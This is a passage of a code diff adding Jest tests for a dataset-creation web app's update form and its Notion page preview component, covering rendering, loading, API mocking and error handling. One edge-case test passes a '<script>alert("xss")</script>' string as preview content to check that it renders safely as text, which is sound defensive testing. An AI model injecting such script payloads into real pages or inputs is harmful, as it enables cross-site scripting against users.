+      fireEvent.click(screen.getByTestId('step-one-next'))
+
+      // Assert - Step 2 should receive dataset info
+      expect(stepTwoProps.indexingType).toBe('high_quality')
+      expect(stepTwoProps.datasetId).toBe('dataset-123')
+
+      // Navigate to Step 3
+      fireEvent.click(screen.getByTestId('step-two-next'))
+
+      // Assert - Step 3 should show dataset details
+      expect(screen.getByTestId('step-three-dataset-name')).toHaveTextContent('Existing Dataset')
+      expect(screen.getByTestId('step-three-indexing-type')).toHaveTextContent('high_quality')
+    })
+  })
+
+  // ==========================================
+  // Default Crawl Options Tests
+  // ==========================================
+  describe('Default Crawl Options', () => {
+    it('should have correct default crawl options structure', () => {
+      // Arrange & Act
+      render(<DatasetUpdateForm />)
+
+      // Assert
+      const crawlOptions = stepOneProps.crawlOptions
+      expect(crawlOptions).toMatchObject({
+        crawl_sub_pages: true,
+        only_main_content: true,
+        includes: '',
+        excludes: '',
+        limit: 10,
+        max_depth: '',
+        use_sitemap: true,
+      })
+    })
+
+    it('should preserve crawl options when navigating steps', () => {
+      // Arrange
+      render(<DatasetUpdateForm />)
+
+      // Update crawl options
+      fireEvent.click(screen.getByTestId('step-one-update-crawl-options'))
+
+      // Navigate to step 2 and back
+      fireEvent.click(screen.getByTestId('step-one-next'))
+      fireEvent.click(screen.getByTestId('step-two-prev'))
+
+      // Assert
+      expect(stepOneProps.crawlOptions.limit).toBe(20)
+    })
+  })
+
+  // ==========================================
+  // Error State Tests
+  // ==========================================
+  describe('Error States', () => {
+    it('should display error message when fetching data source list fails', () => {
+      // Arrange
+      mockFetchingError = true
+
+      // Act
+      render(<DatasetUpdateForm />)
+
+      // Assert
+      const errorElement = screen.getByText('datasetCreation.error.unavailable')
+      expect(errorElement).toBeInTheDocument()
+    })
+
+    it('should not render steps when in error state', () => {
+      // Arrange
+      mockFetchingError = true
+
+      // Act
+      render(<DatasetUpdateForm />)
+
+      // Assert
+      expect(screen.queryByTestId('step-one')).not.toBeInTheDocument()
+      expect(screen.queryByTestId('step-two')).not.toBeInTheDocument()
+      expect(screen.queryByTestId('step-three')).not.toBeInTheDocument()
+    })
+
+    it('should render error page with 500 code when in error state', () => {
+      // Arrange
+      mockFetchingError = true
+
+      // Act
+      render(<DatasetUpdateForm />)
+
+      // Assert - Error state renders AppUnavailable, not the normal layout
+      expect(screen.getByText('500')).toBeInTheDocument()
+      expect(screen.queryByTestId('top-bar')).not.toBeInTheDocument()
+    })
+  })
+
+  // ==========================================
+  // Loading State Tests
+  // ==========================================
+  describe('Loading States', () => {
+    it('should not render steps while loading', () => {
+      // Arrange
+      mockIsLoadingDataSourceList = true
+
+      // Act
+      render(<DatasetUpdateForm />)
+
+      // Assert
+      expect(screen.queryByTestId('step-one')).not.toBeInTheDocument()
+    })
+
+    it('should render TopBar while loading', () => {
+      // Arrange
+      mockIsLoadingDataSourceList = true
+
+      // Act
+      render(<DatasetUpdateForm />)
+
+      // Assert
+      expect(screen.getByTestId('top-bar')).toBeInTheDocument()
+    })
+
+    it('should render StepOne after loading completes', async () => {
+      // Arrange
+      mockIsLoadingDataSourceList = true
+      const { rerender } = render(<DatasetUpdateForm />)
+
+      // Assert - Initially not rendered
+      expect(screen.queryByTestId('step-one')).not.toBeInTheDocument()
+
+      // Act - Loading completes
+      mockIsLoadingDataSourceList = false
+      rerender(<DatasetUpdateForm />)
+
+      // Assert - Now rendered
+      await waitFor(() => {
+        expect(screen.getByTestId('step-one')).toBeInTheDocument()
+      })
+    })
+  })
+})
diff --git a/web/app/components/datasets/create/notion-page-preview/index.spec.tsx b/web/app/components/datasets/create/notion-page-preview/index.spec.tsx
new file mode 100644
index 0000000000..daec7a8cdf
--- /dev/null
+++ b/web/app/components/datasets/create/notion-page-preview/index.spec.tsx
@@ -0,0 +1,1150 @@
+import { act, fireEvent, render, screen, waitFor } from '@testing-library/react'
+import NotionPagePreview from './index'
+import type { NotionPage } from '@/models/common'
+import { fetchNotionPagePreview } from '@/service/datasets'
+
+// Mock the fetchNotionPagePreview service
+jest.mock('@/service/datasets', () => ({
+  fetchNotionPagePreview: jest.fn(),
+}))
+
+const mockFetchNotionPagePreview = fetchNotionPagePreview as jest.MockedFunction<typeof fetchNotionPagePreview>
+
+// Factory function to create mock NotionPage objects
+const createMockNotionPage = (overrides: Partial<NotionPage> = {}): NotionPage => {
+  return {
+    page_id: 'page-123',
+    page_name: 'Test Page',
+    page_icon: null,
+    parent_id: 'parent-123',
+    type: 'page',
+    is_bound: false,
+    workspace_id: 'workspace-123',
+    ...overrides,
+  }
+}
+
+// Factory function to create NotionPage with emoji icon
+const createMockNotionPageWithEmojiIcon = (emoji: string, overrides: Partial<NotionPage> = {}): NotionPage => {
+  return createMockNotionPage({
+    page_icon: {
+      type: 'emoji',
+      url: null,
+      emoji,
+    },
+    ...overrides,
+  })
+}
+
+// Factory function to create NotionPage with URL icon
+const createMockNotionPageWithUrlIcon = (url: string, overrides: Partial<NotionPage> = {}): NotionPage => {
+  return createMockNotionPage({
+    page_icon: {
+      type: 'url',
+      url,
+      emoji: null,
+    },
+    ...overrides,
+  })
+}
+
+// Helper to render NotionPagePreview with default props and wait for async updates
+const renderNotionPagePreview = async (
+  props: Partial<{
+    currentPage?: NotionPage
+    notionCredentialId: string
+    hidePreview: () => void
+  }> = {},
+  waitForContent = true,
+) => {
+  const defaultProps = {
+    currentPage: createMockNotionPage(),
+    notionCredentialId: 'credential-123',
+    hidePreview: jest.fn(),
+    ...props,
+  }
+  const result = render(<NotionPagePreview {...defaultProps} />)
+
+  // Wait for async state updates to complete if needed
+  if (waitForContent && defaultProps.currentPage) {
+    await waitFor(() => {
+      // Wait for loading to finish
+      expect(result.container.querySelector('.spin-animation')).not.toBeInTheDocument()
+    })
+  }
+
+  return {
+    ...result,
+    props: defaultProps,
+  }
+}
+
+// Helper to find the loading spinner element
+const findLoadingSpinner = (container: HTMLElement) => {
+  return container.querySelector('.spin-animation')
+}
+
+// ============================================================================
+// NotionPagePreview Component Tests
+// ============================================================================
+// Note: Branch coverage is ~88% because line 29 (`if (!currentPage) return`)
+// is defensive code that cannot be reached - getPreviewContent is only called
+// from useEffect when currentPage is truthy.
+// ============================================================================
+describe('NotionPagePreview', () => {
+  beforeEach(() => {
+    jest.clearAllMocks()
+    // Default successful API response
+    mockFetchNotionPagePreview.mockResolvedValue({ content: 'Preview content here' })
+  })
+
+  afterEach(async () => {
+    // Wait for any pending state updates to complete
+    await act(async () => {
+      await new Promise(resolve => setTimeout(resolve, 0))
+    })
+  })
+
+  // --------------------------------------------------------------------------
+  // Rendering Tests - Verify component renders properly
+  // --------------------------------------------------------------------------
+  describe('Rendering', () => {
+    it('should render without crashing', async () => {
+      // Arrange & Act
+      await renderNotionPagePreview()
+
+      // Assert
+      expect(screen.getByText('datasetCreation.stepOne.pagePreview')).toBeInTheDocument()
+    })
+
+    it('should render page preview header', async () => {
+      // Arrange & Act
+      await renderNotionPagePreview()
+
+      // Assert
+      expect(screen.getByText('datasetCreation.stepOne.pagePreview')).toBeInTheDocument()
+    })
+
+    it('should render close button with XMarkIcon', async () => {
+      // Arrange & Act
+      const { container } = await renderNotionPagePreview()
+
+      // Assert
+      const closeButton = container.querySelector('.cursor-pointer')
+      expect(closeButton).toBeInTheDocument()
+      const xMarkIcon = closeButton?.querySelector('svg')
+      expect(xMarkIcon).toBeInTheDocument()
+    })
+
+    it('should render page name', async () => {
+      // Arrange
+      const page = createMockNotionPage({ page_name: 'My Notion Page' })
+
+      // Act
+      await renderNotionPagePreview({ currentPage: page })
+
+      // Assert
+      expect(screen.getByText('My Notion Page')).toBeInTheDocument()
+    })
+
+    it('should apply correct CSS classes to container', async () => {
+      // Arrange & Act
+      const { container } = await renderNotionPagePreview()
+
+      // Assert
+      const wrapper = container.firstChild as HTMLElement
+      expect(wrapper).toHaveClass('h-full')
+    })
+
+    it('should render NotionIcon component', async () => {
+      // Arrange
+      const page = createMockNotionPage()
+
+      // Act
+      const { container } = await renderNotionPagePreview({ currentPage: page })
+
+      // Assert - NotionIcon should be rendered (either as img or div or svg)
+      const iconContainer = container.querySelector('.mr-1.shrink-0')
+      expect(iconContainer).toBeInTheDocument()
+    })
+  })
+
+  // --------------------------------------------------------------------------
+  // NotionIcon Rendering Tests
+  // --------------------------------------------------------------------------
+  describe('NotionIcon Rendering', () => {
+    it('should render default icon when page_icon is null', async () => {
+      // Arrange
+      const page = createMockNotionPage({ page_icon: null })
+
+      // Act
+      const { container } = await renderNotionPagePreview({ currentPage: page })
+
+      // Assert - Should render RiFileTextLine icon (svg)
+      const svgIcon = container.querySelector('svg')
+      expect(svgIcon).toBeInTheDocument()
+    })
+
+    it('should render emoji icon when page_icon has emoji type', async () => {
+      // Arrange
+      const page = createMockNotionPageWithEmojiIcon('📝')
+
+      // Act
+      await renderNotionPagePreview({ currentPage: page })
+
+      // Assert
+      expect(screen.getByText('📝')).toBeInTheDocument()
+    })
+
+    it('should render image icon when page_icon has url type', async () => {
+      // Arrange
+      const page = createMockNotionPageWithUrlIcon('https://example.com/icon.png')
+
+      // Act
+      const { container } = await renderNotionPagePreview({ currentPage: page })
+
+      // Assert
+      const img = container.querySelector('img[alt="page icon"]')
+      expect(img).toBeInTheDocument()
+      expect(img).toHaveAttribute('src', 'https://example.com/icon.png')
+    })
+  })
+
+  // --------------------------------------------------------------------------
+  // Loading State Tests
+  // --------------------------------------------------------------------------
+  describe('Loading State', () => {
+    it('should show loading indicator initially', async () => {
+      // Arrange - Delay API response to keep loading state
+      mockFetchNotionPagePreview.mockImplementation(
+        () => new Promise(resolve => setTimeout(() => resolve({ content: 'test' }), 100)),
+      )
+
+      // Act - Don't wait for content to load
+      const { container } = await renderNotionPagePreview({}, false)
+
+      // Assert - Loading should be visible initially
+      const loadingElement = findLoadingSpinner(container)
+      expect(loadingElement).toBeInTheDocument()
+    })
+
+    it('should hide loading indicator after content loads', async () => {
+      // Arrange
+      mockFetchNotionPagePreview.mockResolvedValue({ content: 'Loaded content' })
+
+      // Act
+      const { container } = await renderNotionPagePreview()
+
+      // Assert
+      expect(screen.getByText('Loaded content')).toBeInTheDocument()
+      // Loading should be gone
+      const loadingElement = findLoadingSpinner(container)
+      expect(loadingElement).not.toBeInTheDocument()
+    })
+
+    it('should show loading when currentPage changes', async () => {
+      // Arrange
+      const page1 = createMockNotionPage({ page_id: 'page-1', page_name: 'Page 1' })
+      const page2 = createMockNotionPage({ page_id: 'page-2', page_name: 'Page 2' })
+
+      let resolveFirst: (value: { content: string }) => void
+      let resolveSecond: (value: { content: string }) => void
+
+      mockFetchNotionPagePreview
+        .mockImplementationOnce(() => new Promise((resolve) => { resolveFirst = resolve }))
+        .mockImplementationOnce(() => new Promise((resolve) => { resolveSecond = resolve }))
+
+      // Act - Initial render
+      const { rerender, container } = render(
+        <NotionPagePreview currentPage={page1} notionCredentialId="cred-123" hidePreview={jest.fn()} />,
+      )
+
+      // First page loading - spinner should be visible
+      expect(findLoadingSpinner(container)).toBeInTheDocument()
+
+      // Resolve first page
+      await act(async () => {
+        resolveFirst({ content: 'Content 1' })
+      })
+
+      await waitFor(() => {
+        expect(screen.getByText('Content 1')).toBeInTheDocument()
+      })
+
+      // Rerender with new page
+      rerender(<NotionPagePreview currentPage={page2} notionCredentialId="cred-123" hidePreview={jest.fn()} />)
+
+      // Should show loading again
+      await waitFor(() => {
+        expect(findLoadingSpinner(container)).toBeInTheDocument()
+      })
+
+      // Resolve second page
+      await act(async () => {
+        resolveSecond({ content: 'Content 2' })
+      })
+
+      await waitFor(() => {
+        expect(screen.getByText('Content 2')).toBeInTheDocument()
+      })
+    })
+  })
+
+  // --------------------------------------------------------------------------
+  // API Call Tests
+  // --------------------------------------------------------------------------
+  describe('API Calls', () => {
+    it('should call fetchNotionPagePreview with correct parameters', async () => {
+      // Arrange
+      const page = createMockNotionPage({
+        page_id: 'test-page-id',
+        type: 'database',
+      })
+
+      // Act
+      await renderNotionPagePreview({
+        currentPage: page,
+        notionCredentialId: 'test-credential-id',
+      })
+
+      // Assert
+      expect(mockFetchNotionPagePreview).toHaveBeenCalledWith({
+        pageID: 'test-page-id',
+        pageType: 'database',
+        credentialID: 'test-credential-id',
+      })
+    })
+
+    it('should not call fetchNotionPagePreview when currentPage is undefined', async () => {
+      // Arrange & Act
+      await renderNotionPagePreview({ currentPage: undefined }, false)
+
+      // Assert
+      expect(mockFetchNotionPagePreview).not.toHaveBeenCalled()
+    })
+
+    it('should call fetchNotionPagePreview again when currentPage changes', async () => {
+      // Arrange
+      const page1 = createMockNotionPage({ page_id: 'page-1' })
+      const page2 = createMockNotionPage({ page_id: 'page-2' })
+
+      // Act
+      const { rerender } = render(
+        <NotionPagePreview currentPage={page1} notionCredentialId="cred-123" hidePreview={jest.fn()} />,
+      )
+
+      await waitFor(() => {
+        expect(mockFetchNotionPagePreview).toHaveBeenCalledWith({
+          pageID: 'page-1',
+          pageType: 'page',
+          credentialID: 'cred-123',
+        })
+      })
+
+      await act(async () => {
+        rerender(<NotionPagePreview currentPage={page2} notionCredentialId="cred-123" hidePreview={jest.fn()} />)
+      })
+
+      // Assert
+      await waitFor(() => {
+        expect(mockFetchNotionPagePreview).toHaveBeenCalledWith({
+          pageID: 'page-2',
+          pageType: 'page',
+          credentialID: 'cred-123',
+        })
+        expect(mockFetchNotionPagePreview).toHaveBeenCalledTimes(2)
+      })
+    })
+
+    it('should handle API success and display content', async () => {
+      // Arrange
+      mockFetchNotionPagePreview.mockResolvedValue({ content: 'Notion page preview content from API' })
+
+      // Act
+      await renderNotionPagePreview()
+
+      // Assert
+      expect(screen.getByText('Notion page preview content from API')).toBeInTheDocument()
+    })
+
+    it('should handle API error gracefully', async () => {
+      // Arrange
+      mockFetchNotionPagePreview.mockRejectedValue(new Error('Network error'))
+
+      // Act
+      const { container } = await renderNotionPagePreview({}, false)
+
+      // Assert - Component should not crash
+      await waitFor(() => {
+        expect(container.firstChild).toBeInTheDocument()
+      })
+      // Header should still render
+      expect(screen.getByText('datasetCreation.stepOne.pagePreview')).toBeInTheDocument()
+    })
+
+    it('should handle empty content response', async () => {
+      // Arrange
+      mockFetchNotionPagePreview.mockResolvedValue({ content: '' })
+
+      // Act
+      const { container } = await renderNotionPagePreview()
+
+      // Assert - Should still render without loading
+      const loadingElement = findLoadingSpinner(container)
+      expect(loadingElement).not.toBeInTheDocument()
+    })
+  })
+
+  // --------------------------------------------------------------------------
+  // User Interactions Tests
+  // --------------------------------------------------------------------------
+  describe('User Interactions', () => {
+    it('should call hidePreview when close button is clicked', async () => {
+      // Arrange
+      const hidePreview = jest.fn()
+      const { container } = await renderNotionPagePreview({ hidePreview })
+
+      // Act
+      const closeButton = container.querySelector('.cursor-pointer') as HTMLElement
+      fireEvent.click(closeButton)
+
+      // Assert
+      expect(hidePreview).toHaveBeenCalledTimes(1)
+    })
+
+    it('should handle multiple clicks on close button', async () => {
+      // Arrange
+      const hidePreview = jest.fn()
+      const { container } = await renderNotionPagePreview({ hidePreview })
+
+      // Act
+      const closeButton = container.querySelector('.cursor-pointer') as HTMLElement
+      fireEvent.click(closeButton)
+      fireEvent.click(closeButton)
+      fireEvent.click(closeButton)
+
+      // Assert
+      expect(hidePreview).toHaveBeenCalledTimes(3)
+    })
+  })
+
+  // --------------------------------------------------------------------------
+  // State Management Tests
+  // --------------------------------------------------------------------------
+  describe('State Management', () => {
+    it('should initialize with loading state true', async () => {
+      // Arrange - Keep loading indefinitely (never resolves)
+      mockFetchNotionPagePreview.mockImplementation(() => new Promise(() => { /* intentionally empty */ }))
+
+      // Act - Don't wait for content
+      const { container } = await renderNotionPagePreview({}, false)
+
+      // Assert
+      const loadingElement = findLoadingSpinner(container)
+      expect(loadingElement).toBeInTheDocument()
+    })
+
+    it('should update previewContent state after successful fetch', async () => {
+      // Arrange
+      mockFetchNotionPagePreview.mockResolvedValue({ content: 'New preview content' })
+
+      // Act
+      await renderNotionPagePreview()
+
+      // Assert
+      expect(screen.getByText('New preview content')).toBeInTheDocument()
+    })
+
+    it('should reset loading to true when currentPage changes', async () => {
+      // Arrange
+      const page1 = createMockNotionPage({ page_id: 'page-1' })
+      const page2 = createMockNotionPage({ page_id: 'page-2' })
+
+      mockFetchNotionPagePreview
+        .mockResolvedValueOnce({ content: 'Content 1' })
+        .mockImplementationOnce(() => new Promise(() => { /* never resolves */ }))
+
+      // Act
+      const { rerender, container } = render(
+        <NotionPagePreview currentPage={page1} notionCredentialId="cred-123" hidePreview={jest.fn()} />,
+      )
+
+      await waitFor(() => {
+        expect(screen.getByText('Content 1')).toBeInTheDocument()
+      })
+
+      // Change page
+      await act(async () => {
+        rerender(<NotionPagePreview currentPage={page2} notionCredentialId="cred-123" hidePreview={jest.fn()} />)
+      })
+
+      // Assert - Loading should be shown again
+      await waitFor(() => {
+        const loadingElement = findLoadingSpinner(container)
+        expect(loadingElement).toBeInTheDocument()
+      })
+    })
+
+    it('should replace old content with new content when page changes', async () => {
+      // Arrange
+      const page1 = createMockNotionPage({ page_id: 'page-1' })
+      const page2 = createMockNotionPage({ page_id: 'page-2' })
+
+      let resolveSecond: (value: { content: string }) => void
+
+      mockFetchNotionPagePreview
+        .mockResolvedValueOnce({ content: 'Content 1' })
+        .mockImplementationOnce(() => new Promise((resolve) => { resolveSecond = resolve }))
+
+      // Act
+      const { rerender } = render(
+        <NotionPagePreview currentPage={page1} notionCredentialId="cred-123" hidePreview={jest.fn()} />,
+      )
+
+      await waitFor(() => {
+        expect(screen.getByText('Content 1')).toBeInTheDocument()
+      })
+
+      // Change page
+      await act(async () => {
+        rerender(<NotionPagePreview currentPage={page2} notionCredentialId="cred-123" hidePreview={jest.fn()} />)
+      })
+
+      // Resolve second fetch
+      await act(async () => {
+        resolveSecond({ content: 'Content 2' })
+      })
+
+      await waitFor(() => {
+        expect(screen.getByText('Content 2')).toBeInTheDocument()
+        expect(screen.queryByText('Content 1')).not.toBeInTheDocument()
+      })
+    })
+  })
+
+  // --------------------------------------------------------------------------
+  // Props Testing
+  // --------------------------------------------------------------------------
+  describe('Props', () => {
+    describe('currentPage prop', () => {
+      it('should render correctly with currentPage prop', async () => {
+        // Arrange
+        const page = createMockNotionPage({ page_name: 'My Test Page' })
+
+        // Act
+        await renderNotionPagePreview({ currentPage: page })
+
+        // Assert
+        expect(screen.getByText('My Test Page')).toBeInTheDocument()
+      })
+
+      it('should render correctly without currentPage prop (undefined)', async () => {
+        // Arrange & Act
+        await renderNotionPagePreview({ currentPage: undefined }, false)
+
+        // Assert - Header should still render
+        expect(screen.getByText('datasetCreation.stepOne.pagePreview')).toBeInTheDocument()
+      })
+
+      it('should handle page with empty name', async () => {
+        // Arrange
+        const page = createMockNotionPage({ page_name: '' })
+
+        // Act
+        const { container } = await renderNotionPagePreview({ currentPage: page })
+
+        // Assert - Should not crash
+        expect(container.firstChild).toBeInTheDocument()
+      })
+
+      it('should handle page with very long name', async () => {
+        // Arrange
+        const longName = 'a'.repeat(200)
+        const page = createMockNotionPage({ page_name: longName })
+
+        // Act
+        await renderNotionPagePreview({ currentPage: page })
+
+        // Assert
+        expect(screen.getByText(longName)).toBeInTheDocument()
+      })
+
+      it('should handle page with special characters in name', async () => {
+        // Arrange
+        const page = createMockNotionPage({ page_name: 'Page with <special> & "chars"' })
+
+        // Act
+        await renderNotionPagePreview({ currentPage: page })
+
+        // Assert
+        expect(screen.getByText('Page with <special> & "chars"')).toBeInTheDocument()
+      })
+
+      it('should handle page with unicode characters in name', async () => {
+        // Arrange
+        const page = createMockNotionPage({ page_name: '中文页面名称 🚀 日本語' })
+
+        // Act
+        await renderNotionPagePreview({ currentPage: page })
+
+        // Assert
+        expect(screen.getByText('中文页面名称 🚀 日本語')).toBeInTheDocument()
+      })
+    })
+
+    describe('notionCredentialId prop', () => {
+      it('should pass notionCredentialId to API call', async () => {
+        // Arrange
+        const page = createMockNotionPage()
+
+        // Act
+        await renderNotionPagePreview({
+          currentPage: page,
+          notionCredentialId: 'my-credential-id',
+        })
+
+        // Assert
+        expect(mockFetchNotionPagePreview).toHaveBeenCalledWith(
+          expect.objectContaining({ credentialID: 'my-credential-id' }),
+        )
+      })
+    })
+
+    describe('hidePreview prop', () => {
+      it('should accept hidePreview callback', async () => {
+        // Arrange
+        const hidePreview = jest.fn()
+
+        // Act
+        await renderNotionPagePreview({ hidePreview })
+
+        // Assert - No errors thrown
+        expect(screen.getByText('datasetCreation.stepOne.pagePreview')).toBeInTheDocument()
+      })
+    })
+  })
+
+  // --------------------------------------------------------------------------
+  // Edge Cases Tests
+  // --------------------------------------------------------------------------
+  describe('Edge Cases', () => {
+    it('should handle page with undefined page_id', async () => {
+      // Arrange
+      const page = createMockNotionPage({ page_id: undefined as unknown as string })
+
+      // Act
+      await renderNotionPagePreview({ currentPage: page })
+
+      // Assert - API should still be called (with undefined pageID)
+      expect(mockFetchNotionPagePreview).toHaveBeenCalled()
+    })
+
+    it('should handle page with empty string page_id', async () => {
+      // Arrange
+      const page = createMockNotionPage({ page_id: '' })
+
+      // Act
+      await renderNotionPagePreview({ currentPage: page })
+
+      // Assert
+      expect(mockFetchNotionPagePreview).toHaveBeenCalledWith(
+        expect.objectContaining({ pageID: '' }),
+      )
+    })
+
+    it('should handle very long preview content', async () => {
+      // Arrange
+      const longContent = 'x'.repeat(10000)
+      mockFetchNotionPagePreview.mockResolvedValue({ content: longContent })
+
+      // Act
+      await renderNotionPagePreview()
+
+      // Assert
+      expect(screen.getByText(longContent)).toBeInTheDocument()
+    })
+
+    it('should handle preview content with special characters safely', async () => {
+      // Arrange
+      const specialContent = '<script>alert("xss")</script>\n\t& < > "'
+      mockFetchNotionPagePreview.mockResolvedValue({ content: specialContent })
+
+      // Act
+      const { container } = await renderNotionPagePreview()
+
+      // Assert - Should render as text, not execute scripts
+      const contentDiv = container.querySelector('.fileContent')
+      expect(contentDiv).toBeInTheDocument()
+      expect(contentDiv?.textContent).toContain('alert')
+    })
+
+    it('should handle preview content with unicode', async () => {
+      // Arrange
+      const unicodeContent = '中文内容 🚀 émojis & spëcîal çhàrs'
+      mockFetchNotionPagePreview.mockResolvedValue({ content: unicodeContent })
+
+      // Act
+      await renderNotionPagePreview()
+
+      // Assert
+      expect(screen.getByText(unicodeContent)).toBeInTheDocument()
+    })
+
+    it('should handle preview content with newlines', async () => {
+      // Arrange
+      const multilineContent = 'Line 1\nLine 2\nLine 3'
+      mockFetchNotionPagePreview.mockResolvedValue({ content: multilineContent })
+
+      // Act
+      const { container } = await renderNotionPagePreview()
+
+      // Assert
+      const contentDiv = container.querySelector('.fileContent')
+      expect(contentDiv).toBeInTheDocument()
+      expect(contentDiv?.textContent).toContain('Line 1')
+      expect(contentDiv?.textContent).toContain('Line 2')
+      expect(contentDiv?.textContent).toContain('Line 3')
+    })
+
+    it('should handle null content from API', async () => {
+      // Arrange
+      mockFetchNotionPagePreview.mockResolvedValue({ content: null as unknown as string })
+
+      // Act
+      const { container } = await renderNotionPagePreview()
+
+      // Assert - Should not crash
+      expect(container.firstChild).toBeInTheDocument()
+    })
+
+    it('should handle different page types', async () => {
+      // Arrange
+      const databasePage = createMockNotionPage({ type: 'database' })
+
+      // Act
+      await renderNotionPagePreview({ currentPage: databasePage })
+
+      // Assert
+      expect(mockFetchNotionPagePreview).toHaveBeenCalledWith(
+        expect.objectContaining({ pageType: 'database' }),
+      )
+    })
+  })
+
+  // --------------------------------------------------------------------------
+  // Side Effects and Cleanup Tests
+  // --------------------------------------------------------------------------
+  describe('Side Effects and Cleanup', () => {
+    it('should trigger effect when currentPage prop changes', async () => {
+      // Arrange
+      const page1 = createMockNotionPage({ page_id: 'page-1' })
+      const page2 = createMockNotionPage({ page_id: 'page-2' })
+
+      // Act
+      const { rerender } = render(
+        <NotionPagePreview currentPage={page1} notionCredentialId="cred-123" hidePreview={jest.fn()} />,
+      )
+
+      await waitFor(() => {
+        expect(mockFetchNotionPagePreview).toHaveBeenCalledTimes(1)
+      })
+
+      await act(async () => {
+        rerender(<NotionPagePreview currentPage={page2} notionCredentialId="cred-123" hidePreview={jest.fn()} />)
+      })
+
+      // Assert
+      await waitFor(() => {
+        expect(mockFetchNotionPagePreview).toHaveBeenCalledTimes(2)
+      })
+    })
+
+    it('should not trigger effect when hidePreview changes', async () => {
+      // Arrange
+      const page = createMockNotionPage()
+      const hidePreview1 = jest.fn()
+      const hidePreview2 = jest.fn()
+
+      // Act
+      const { rerender } = render(
+        <NotionPagePreview currentPage={page} notionCredentialId="cred-123" hidePreview={hidePreview1} />,
+      )
+
+      await waitFor(() => {
+        expect(mockFetchNotionPagePreview).toHaveBeenCalledTimes(1)
+      })
+
+      await act(async () => {
+        rerender(<NotionPagePreview currentPage={page} notionCredentialId="cred-123" hidePreview={hidePreview2} />)
+      })
+
+      // Assert - Should not call API again (currentPage didn't change by reference)
+      // Note: Since currentPage is the same object, effect should not re-run
+      expect(mockFetchNotionPagePreview).toHaveBeenCalledTimes(1)
+    })
+
+    it('should not trigger effect when notionCredentialId changes', async () => {
+      // Arrange
+      const page = createMockNotionPage()
+
+      // Act
+      const { rerender } = render(
+        <NotionPagePreview currentPage={page} notionCredentialId="cred-1" hidePreview={jest.fn()} />,
+      )
+
+      await waitFor(() => {
+        expect(mockFetchNotionPagePreview).toHaveBeenCalledTimes(1)
+      })
+
+      await act(async () => {
+        rerender(<NotionPagePreview currentPage={page} notionCredentialId="cred-2" hidePreview={jest.fn()} />)
+      })
+
+      // Assert - Should not call API again (only currentPage is in dependency array)
+      expect(mockFetchNotionPagePreview).toHaveBeenCalledTimes(1)
+    })
+
+    it('should handle rapid page changes', async () => {
+      // Arrange
+      const pages = Array.from({ length: 5 }, (_, i) =>
+        createMockNotionPage({ page_id: `page-${i}` }),
+      )
+
+      // Act
+      const { rerender } = render(
+        <NotionPagePreview currentPage={pages[0]} notionCredentialId="cred-123" hidePreview={jest.fn()} />,
+      )
+
+      // Rapidly change pages
+      for (let i = 1; i < pages.length; i++) {
+        await act(async () => {
+          rerender(<NotionPagePreview currentPage={pages[i]} notionCredentialId="cred-123" hidePreview={jest.fn()} />)
+        })
+      }
+
+      // Assert - Should have called API for each page
+      await waitFor(() => {
+        expect(mockFetchNotionPagePreview).toHaveBeenCalledTimes(5)
+      })
+    })
+
+    it('should handle unmount during loading', async () => {
+      // Arrange
+      mockFetchNotionPagePreview.mockImplementation(
+        () => new Promise(resolve => setTimeout(() => resolve({ content: 'delayed' }), 1000)),
+      )
+
+      // Act - Don't wait for content
+      const { unmount } = await renderNotionPagePreview({}, false)
+
+      // Unmount before API resolves
+      unmount()
+
+      // Assert - No errors should be thrown
+      expect(true).toBe(true)
+    })
+
+    it('should handle page changing from defined to undefined', async () => {
+      // Arrange
+      const page = createMockNotionPage()
+
+      // Act
+      const { rerender, container } = render(
+        <NotionPagePreview currentPage={page} notionCredentialId="cred-123" hidePreview={jest.fn()} />,
+      )
+
+      await waitFor(() => {
+        expect(mockFetchNotionPagePreview).toHaveBeenCalledTimes(1)
+      })
+
+      await act(async () => {
+        rerender(<NotionPagePreview currentPage={undefined} notionCredentialId="cred-123" hidePreview={jest.fn()} />)
+      })
+
+      // Assert - Should not crash, API should not be called again
+      expect(container.firstChild).toBeInTheDocument()
+      expect(mockFetchNotionPagePreview).toHaveBeenCalledTimes(1)
+    })
+  })
+
+  // --------------------------------------------------------------------------
+  // Accessibility Tests
+  // --------------------------------------------------------------------------
+  describe('Accessibility', () => {
+    it('should have clickable close button with visual indicator', async () => {
+      // Arrange & Act
+      const { container } = await renderNotionPagePreview()
+
+      // Assert
+      const closeButton = container.querySelector('.cursor-pointer')
+      expect(closeButton).toBeInTheDocument()
+      expect(closeButton).toHaveClass('cursor-pointer')
+    })
+
+    it('should have proper heading structure', async () => {
+      // Arrange & Act
+      await renderNotionPagePreview()
+
+      // Assert
+      expect(screen.getByText('datasetCreation.stepOne.pagePreview')).toBeInTheDocument()
+    })
+  })
+
+  // --------------------------------------------------------------------------
+  // Error Handling Tests
+  // --------------------------------------------------------------------------
+  describe('Error Handling', () => {
+    it('should not crash on API network error', async () => {
+      // Arrange
+      mockFetchNotionPagePreview.mockRejectedValue(new Error('Network Error'))
+
+      // Act
+      const { container } = await renderNotionPagePreview({}, false)
+
+      // Assert - Component should still render
+      await waitFor(() => {
+        expect(container.firstChild).toBeInTheDocument()
+      })
+    })
+
+    it('should not crash on API timeout', async () => {
+      // Arrange
+      mockFetchNotionPagePreview.mockRejectedValue(new Error('Timeout'))
+
+      // Act
+      const { container } = await renderNotionPagePreview({}, false)
+
+      // Assert
+      await waitFor(() => {
+        expect(container.firstChild).toBeInTheDocument()
+      })
+    })
+
+    it('should not crash on malformed API response', async () => {
+      // Arrange
+      mockFetchNotionPagePreview.mockResolvedValue({} as { content: string })
+
+      // Act
+      const { container } = await renderNotionPagePreview()
+
+      // Assert
+      expect(container.firstChild).toBeInTheDocument()
+    })
+
+    it('should handle 404 error gracefully', async () => {
+      // Arrange
+      mockFetchNotionPagePreview.mockRejectedValue(new Error('404 Not Found'))
+
+      // Act
+      const { container } = await renderNotionPagePreview({}, false)
+
+      // Assert
+      await waitFor(() => {
+        expect(container.firstChild).toBeInTheDocument()
+      })
+    })
+
+    it('should handle 500 error gracefully', async () => {
+      // Arrange
+      mockFetchNotionPagePreview.mockRejectedValue(new Error('500 Internal Server Error'))
+
+      // Act
+      const { container } = await renderNotionPagePreview({}, false)
+
+      // Assert
+      await waitFor(() => {
+        expect(container.firstChild).toBeInTheDocument()
+      })
+    })
+
+    it('should handle authorization error gracefully', async () => {
+      // Arrange
+      mockFetchNotionPagePreview.mockRejectedValue(new Error('401 Unauthorized'))
+
+      // Act
+      const { container } = await renderNotionPagePreview({}, false)
+
+      // Assert
+      await waitFor(() => {
